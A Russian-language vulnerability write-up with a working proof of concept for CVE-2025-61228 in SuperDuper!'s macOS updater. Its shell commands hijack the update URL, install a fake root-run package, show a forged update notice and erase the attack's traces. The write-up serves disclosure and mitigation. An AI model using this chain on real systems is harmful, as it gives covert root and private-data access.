
Технический анализ и эксплойт доказательства концепции для CVE-2025-61228, уязвимости повышения привилегий в механизме автоматического обновления SuperDuper!, с подробным разбором вектора атаки и рекомендациями по смягчению последствий.
Эта проблема, похоже, хуже, чем предполагает разработчик, поэтому я не хочу, чтобы эта часть затерялась в деталях. Разработчик отметил в своем блоге:
Это может произойти только в том случае, если программа, работающая на вашей системе, ищет SuperDuper для выполнения обновления, настоящее обновление представлено законными средствами, и вы нажимаете «Обновить».
На самом деле это неверно: для эксплуатации этой уязвимости не требуется, чтобы настоящее обновление было представлено законными средствами. Никогда, ни при каких обстоятельствах не принимайте обновление, предоставленное SuperDuper 3.10 и более старыми версиями! Я объясняю это более подробно ниже.
Также важно понимать, что эта уязвимость не ограничивается повышением привилегий, она также включает обход контроля конфиденциальности. Эта деталь, похоже, была опущена в сообщении разработчика в блоге.
Из блога разработчика:
Наш механизм автоматического обновления может быть перехвачен и вынужден установить пакет, который не является SuperDuper.
Несмотря на то, что мы подписали и нотариально заверили наш установочный пакет, Gatekeeper не проверяет эту нотариальную заверку при установке установщиком пакетов macOS. Таким образом, загрузка может быть изменена, и мы бы установили это вместо оригинала. Поскольку установка выполняется с повышенными привилегиями, это может позволить вредоносной программе третьего лица, которую вы также должны были бы установить, получить доступ администратора к вашей системе.
Из CVE:
Проблема в Shirt Pocket SuperDuper! V.3.10 и более ранних версиях позволяет локальному злоумышленнику выполнить произвольный код через механизм обновления программного обеспечения.
Этот автор не является первооткрывателем уязвимости, которого разработчик SuperDuper идентифицирует как «анонимный исследователь безопасности». Я не претендую на заслугу в обнаружении этой уязвимости, я просто проявил интерес к её техническому анализу.
Оценка CVSS 3.1: 7.8 High (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
Чтобы избежать этой уязвимости, либо удалите приложение SuperDuper!, либо примените обновление 3.11.
Предупреждение: Вы должны загрузить обновление непосредственно с сайта разработчика, чтобы избежать этой уязвимости.
Этот анализ эксплойта и доказательство концепции предоставлены только в образовательных целях. Используйте их на свой страх и риск.
Вместо того чтобы реализовать решение для обновления программного обеспечения с открытым исходным кодом, протестированное сотнями разработчиков и специалистов по безопасности, разработчики SuperDuper создали собственный механизм обновления программного обеспечения, построенный на небезопасных сценариях оболочки, которые выполняются с правами root и имеют полный доступ к диску. Не проверяя подлинность устанавливаемого программного обеспечения во время обновления, SuperDuper обманом заставляют установить программное обеспечение злоумышленника. Исправление разработчика устраняет только аспект аутентификации этой уязвимости, но не устраняет внутренние уязвимости, возникающие в результате использования сценариев оболочки для упрощения процесса обновления.
Комментарий разработчика «Gatekeeper не проверяет эту нотариальную заверку» вводит в заблуждение. GateKeeper вступает в игру, когда вы пытаетесь открыть что-то, загруженное в браузере, но это неприменимо к внутреннему механизму обновления программного обеспечения приложения. На 100% ответственность разработчика – проверять все, что его программное обеспечение загружает и устанавливает на ваш компьютер – не позволяйте этому разработчику обмануть вас, заставив поверить, что это сбой GateKeeper. Переходя к сути эксплойта, злоумышленник может обманом заставить SuperDuper установить альтернативный пакет, и это происходит с повышенными привилегиями. Предположительно, он также будет выполняться с полным доступом к диску, потому что SuperDuper требует полного доступа к диску для любых действий.
В блоге разработчика также говорится:
Это может произойти только в том случае, если программа, работающая на вашей системе, ищет SuperDuper для выполнения обновления, настоящее обновление представлено законными средствами, и вы нажимаете «Обновить».
С этим комментарием я предположил, что, вероятно, невозможно воспроизвести этот эксплойт, потому что он должен включать изменения на стороне сервера в механизме обновления, которые были бы сделаны одновременно с публикацией патча 3.11. Другими словами, чтобы предотвратить воздействие этой уязвимости на более старые версии программного обеспечения, они, конечно, отключили механизм обновления, верно? Ну... Я загрузил более старую версию SuperDuper, и когда я открыл её, меня сразу же встретило уведомление об обновлении† – в одном клике от потенциального эксплойта. Я нашел это очень интригующим – как кто-либо, использующий более старую версию приложения, будет защищен от этой уязвимости, если механизм автоматического обновления не отключен? (это связано с «предупреждением», которое я упомянул в начале этой статьи, я вернусь к этому вопросу в конце)
† Вроде того... Результат оказался очень неловким. Не было ни описания обновления, ни уведомления о безопасности, окно было просто пустым с кнопками «Пропустить» и «Обновить». Таким образом, более старые пользователи не только не защищены от эксплойта из-за того, что механизм обновления не отключен, но они также не информируются о проблеме через механизм обновления.
Я двинулся дальше. Когда вы применяете обновление, внутренние механизмы полезно регистрируются в журнале SuperDuper, поэтому мы начнем с этого, чтобы увидеть, как это работает:
Transcript : UpgradeTranscript.plist
Ext Logging : Disabled
PHASE: 1. Upgrade Application
...ACTION: Downloading upgrade package
......COMMAND => Downloading update package...
......COMMAND => Preparing update package
...ACTION: Installing upgrade package
......COMMAND => Preserving SDAgent owner and mode bits
......COMMAND => Installing upgrade package
installer[3148] <Debug>: Product archive /tmp/SuperDuper!.pkg trustLevel=350
Многие приложения для Mac, не входящие в Mac App Store, используют фреймворк Sparkle с открытым исходным кодом для (безопасного) управления обновлениями программного обеспечения. Только не SuperDuper. Здесь мы видим, что они создали свой собственный, и это отличный пример того, почему это часто плохой выбор. Механизмы обновления программного обеспечения являются основными целями для эксплойтов, поэтому для их защиты требуется много времени и опыта. «UpgradeTranscript.plist» – это ссылка на файл внутри приложения SuperDuper, который содержит серию команд Терминала, которые SuperDuper использует для загрузки и применения обновления:
cat /Applications/SuperDuper\!.app/Contents/Resources/Transcripts/UpgradeTranscript.plist
<?xml version="1.0" encoding="UTF-8"?>
...
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
cd /tmp; if [ -d superduper_install ]; then /bin/rm -rf superduper_install; fi; /bin/mkdir superduper_install; /usr/bin/tar xzf superduper.tar.gz; /bin/rm /tmp/superduper.tar.gz; if [ -d '/Library/Receipts/SuperDuper!.pkg' ]; then /bin/rm -rf '/Library/Receipts/SuperDuper!.pkg'; fi;
/usr/sbin/installer -allow -verboseR -dumplog -pkg '/tmp/SuperDuper!.pkg' -target / >&1 2>&1;
if [ ! -d '/tmp/superduper_install/SuperDuper!.app' ]; then /usr/bin/ditto -rsrc '/Applications/Utilities/SuperDuper!.app' '/tmp/superduper_install/SuperDuper!.app'; fi
/bin/rm -rf '/tmp/SuperDuper!.pkg' '/tmp/superduper_install' '/Library/Receipts/SuperDuper!.pkg'; if [ SDAppBundle.'Path != '/Applications/Utilities/SuperDuper!.app' -a -d '/Applications/Utilities/SuperDuper!.app' ]; then /bin/rm -rf '/Applications/Utilities/SuperDuper!.app'; fi
Я вижу как минимум четыре проблемы с этими командами и процедурой:
Установщики пакетов могут запускать сценарии оболочки, поэтому я предполагаю, что это предпочтительный вектор атаки для альтернативного установочного пакета. Давайте начнем с создания пакета, который запускает сценарий preinstall, а затем посмотрим, как его вставить в механизм обновления.
# Использование папки установки "/tmp/superduper_install" обеспечивает удобную очистку SuperDuper
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
# создаем сценарий. /Library доступен для записи только root, поэтому мы попытаемся создать там тестовый файл.
# Получение содержимого папки Desktop требует предоставленного пользователем разрешения конфиденциальности, поэтому мы также попытаемся
# вывести список этой папки в текстовый файл на рабочем столе, чтобы проверить, есть ли у нас полный доступ к диску. Обратите внимание, что для
# эффективного тестирования этой части эксплойта вы должны отозвать «Полный доступ к диску» у Терминала.
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\nexit 0\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
# собираем пакет
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
# помещаем пакет в tar-архив
cd /tmp/superduper_install/pkg
tar -cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
Краткое отступление, чтобы увидеть, какой доступ дает этот эксплойт атакующему – если вы запустите сценарий оболочки вручную (предполагая, что Терминал не имеет «Полного доступа к диску» или доступа к «Файлам и папкам»), вы получите две ошибки:
touch: /Library/test: Permission denied
ls: /Users/user/Desktop: Operation not permitted
Злоумышленник может нанести большой ущерб, имея root-доступ, но с доступом к конфиденциальности он также может получить доступ к более широкому кругу содержимого в вашей домашней папке (Рабочий стол может показаться тривиальным, но много личных данных хранится в скрытой папке Library). Этот эксплойт дает им и то, и другое.
Хорошо, собрать пакет было легко. Как нам внедриться в механизм обновления? Использование состояния гонки было очевидным кандидатом, но мне было интересно, возможно ли вмешаться на этом этапе процедуры:
/usr/bin/curl SDHTTPproxy.Host --silent --show-error --output /tmp/superduper.tar.gz -L SDdownloadURL
Переменные хоста и URL загрузки, очевидно, поступают извне скрипта. Можно ли ими манипулировать? Приложения, использующие механизм обновления Sparkle, часто хранят URL «проверки обновлений» в CFPreferences, поэтому мне было интересно, не делает ли SuperDuper то же самое. Действительно, но хуже – вместо того, чтобы хранить только URL для проверки обновлений, SuperDuper помещает фактический URL загрузки в CFPreferences:
defaults read com.blacey.SuperDuper
...
UMdownloadURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduper2.tar.gz";
UMfailureCount = 0;
UMinfoURL = "https://s3.amazonaws.com/shirtpocket/SuperDuper/beta/superduperinfo2.rtf";
UMpublicVersion = "137.7";
Я попытался переопределить URL локальным URL файловой системы:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Я снова открыл SuperDuper и нажал «Обновить», но обновление продолжило установку обновления разработчика, а не моего альтернативного пакета. Конечно – когда SuperDuper снова увидел обновление при запуске, он перезаписал значение defaults. Я попробовал снова установить значение после того, как SuperDuper представил обновление, на этот раз это сработало! Ну, установка обновления на самом деле не удалась, но атака сработала – файл /Library/test был создан.
Я удалил тестовый файл и повторил тест, чтобы убедиться, что он действительно работает. Я также подтвердил, что файл private_data на рабочем столе теперь содержит список папок рабочего стола – сценарий выполнялся с полным доступом к диску.
Я мог бы остановиться на этом, но журнал ошибок показал, что установка не удалась, потому что SuperDuper не был найден:
COMMAND => Copying upgrade bundle to temporary location
***ERROR OCCURRED: ditto: Cannot get the real path for source '/Applications/Utilities/SuperDuper!.app'
Возвращаясь к логике сценариев оболочки UpgradeTranscript.plist, я понял, что установщик, возможно, действительно сработает, если я просто скопирую приложение SuperDuper в альтернативный пакет (ditto выдает эту ошибку, потому что /tmp/superduper_install/SuperDuper!.app не существует). Это оказалось сложнее, чем должно было быть, SuperDuper постоянно вылетал во время установки. Гораздо проще было заставить сценарий preinstall скопировать приложение в ожидаемое местоположение во время выполнения:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
[Открываем SuperDuper для отображения обновления]
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Теперь SuperDuper установил поддельный пакет, и, похоже, установка прошла успешно. SuperDuper перезапустился и снова показал обновление, что ожидаемо, потому что он просто переустановил копию старой версии, которую мы сделали в папку tmp. Отсутствие сообщения об ошибке, вероятно, достаточно, чтобы обмануть среднего пользователя, заставив его поверить, что на самом деле все в порядке, и он просто снова нажмет кнопку «Обновить», на этот раз установив реальный пакет с сайта разработчика. Между тем, эксплойт уже активирован, и пользователь просто отмахивается: «О, это было немного странно, но теперь работает».
Однако остается логистическая проблема, которая делает эту атаку трудноосуществимой: злоумышленнику придется выполнить эту команду "defaults" после того, как обновление будет представлено пользователю, и до того, как пользователь нажмет кнопку «Обновить». Это, безусловно, возможно, вы можете просто запустить эту команду "defaults write" с бесконечным повторением в фоновом режиме, но это привлечет внимание. Сначала я подумал, что могу заблокировать файл предпочтений, чтобы обойти это:
defaults write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
chflags uchg ~/Library/Preferences/com.blacey.SuperDuper.plist
[ждем, пока SD покажет обновление, затем пользователь может применить его без дополнительных действий]
Но это не сработало. Подумав о том, как работают настройки, это имело смысл. Приложения не открывают эти файлы и не читают значения каждый раз, когда им нужно получить настройку, вместо этого они запрашивают значение у интерфейса "CFPreferences". Если SuperDuper изменяет значение UMdownloadURL, CFPreferences сохранит изменение в памяти, даже если физический файл не изменен. Когда SuperDuper позже запрашивает значение этого параметра, CFPreferences получает его из кэша (а кэш обновляется, если в физические файлы вносятся изменения).
В этот момент меня действительно мучило кое-что – зачем разработчику записывать URL загрузки в CFPreferences? Конечно, вы будете записывать эти значения в CFPreferences только в том случае, если вы также планируете читать их из CFPreferences, верно? Но почему бы просто не сохранить значение в переменной в памяти где-нибудь? Есть две огромные проблемы с использованием CFPreferences таким образом, о которых должен знать каждый опытный разработчик Mac:
Чтобы проверить мою теорию, я записал предпочтение в домен "currentHost", который заменяет домен приложения:
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
Затем я перезапустил SuperDuper и нажал «Обновить» – альтернативный пакет был установлен. Потрясающе. Это делает эксплойт настолько проще в реализации: злоумышленник может просто установить этот параметр предпочтения и ждать неопределенное время, пока не будет опубликовано обновление. Но подождите, если SuperDuper получает значение URL загрузки из предпочтений, не может ли он также получить номер версии? Может ли злоумышленник, по сути, вызвать обновление и обмануть SuperDuper, заставив его представить его, даже если разработчик его не публиковал? Удивительно, но да! Собирая все вместе, злоумышленник может выполнить эти команды, чтобы заставить более старую (неисправленную) версию SuperDuper! представить поддельное обновление, установить альтернативный пакет, в то же время заставив SuperDuper удалить все следы атаки:
mkdir /tmp/superduper_install
mkdir /tmp/superduper_install/script
mkdir /tmp/superduper_install/pkg
cd ~; export home=`pwd`; export user=`whoami`
printf '#!/bin/bash\ntouch /Library/test\n' > /tmp/superduper_install/script/preinstall
printf "ls -l $home/Desktop > $home/Desktop/private_data\n" >> /tmp/superduper_install/script/preinstall
printf 'cp -R /Applications/SuperDuper\!.app /tmp/superduper_install/SuperDuper\!.app\n' >> /tmp/superduper_install/script/preinstall
printf "sudo -u $user defaults -currentHost delete com.blacey.SuperDuper\n" >> /tmp/superduper_install/script/preinstall
chmod a+x /tmp/superduper_install/script/preinstall
pkgbuild --nopayload --scripts /tmp/superduper_install/script --identifier com.example.mypackage --version 1.0 /tmp/superduper_install/pkg/SuperDuper\!.pkg
cd /tmp/superduper_install/pkg
tar cf /tmp/superduper_install/superduped.tar.gz SuperDuper\!.pkg
defaults -currentHost write com.blacey.SuperDuper UMdownloadURL "file:///tmp/superduper_install/superduped.tar.gz"
printf '<span style="font-weight: bold; font-size: 11pt; font-family: sans-serif;"><span style="color: red;">SuperDuper 4.0 (v140)</span> is now available for automatic upgrade!</span>\n' > /tmp/superduper_install/update.html
textutil -convert rtf /tmp/superduper_install/update.html
defaults -currentHost write com.blacey.SuperDuper UMpublicVersion "999"
defaults -currentHost write com.blacey.SuperDuper UMinfoURL "file:///tmp/superduper_install/update.rtf"
open '/Applications/SuperDuper!.app'
Когда SuperDuper перезагружается после установки альтернативного пакета, обновление больше не отображается, и пользователь продолжает работу, полагая, что установил новую версию, не подозревая, что эксплойт активирован.
Возвращаясь к началу этой статьи, я задался вопросом: «как кто-либо, использующий более старую версию приложения, будет защищен от этой уязвимости, если механизм автоматического обновления не отключен?» Как оказалось, не имеет значения, отключил ли разработчик механизм автоматического обновления – эту уязвимость можно эксплуатировать без (или вопреки) каких-либо изменений на стороне сервера, и для этого даже не требуется, чтобы разработчик публиковал «настоящее» обновление. Единственное смягчение – это всегда отклонять автоматическое обновление, пока вы вручную не обновитесь до исправленной версии продукта.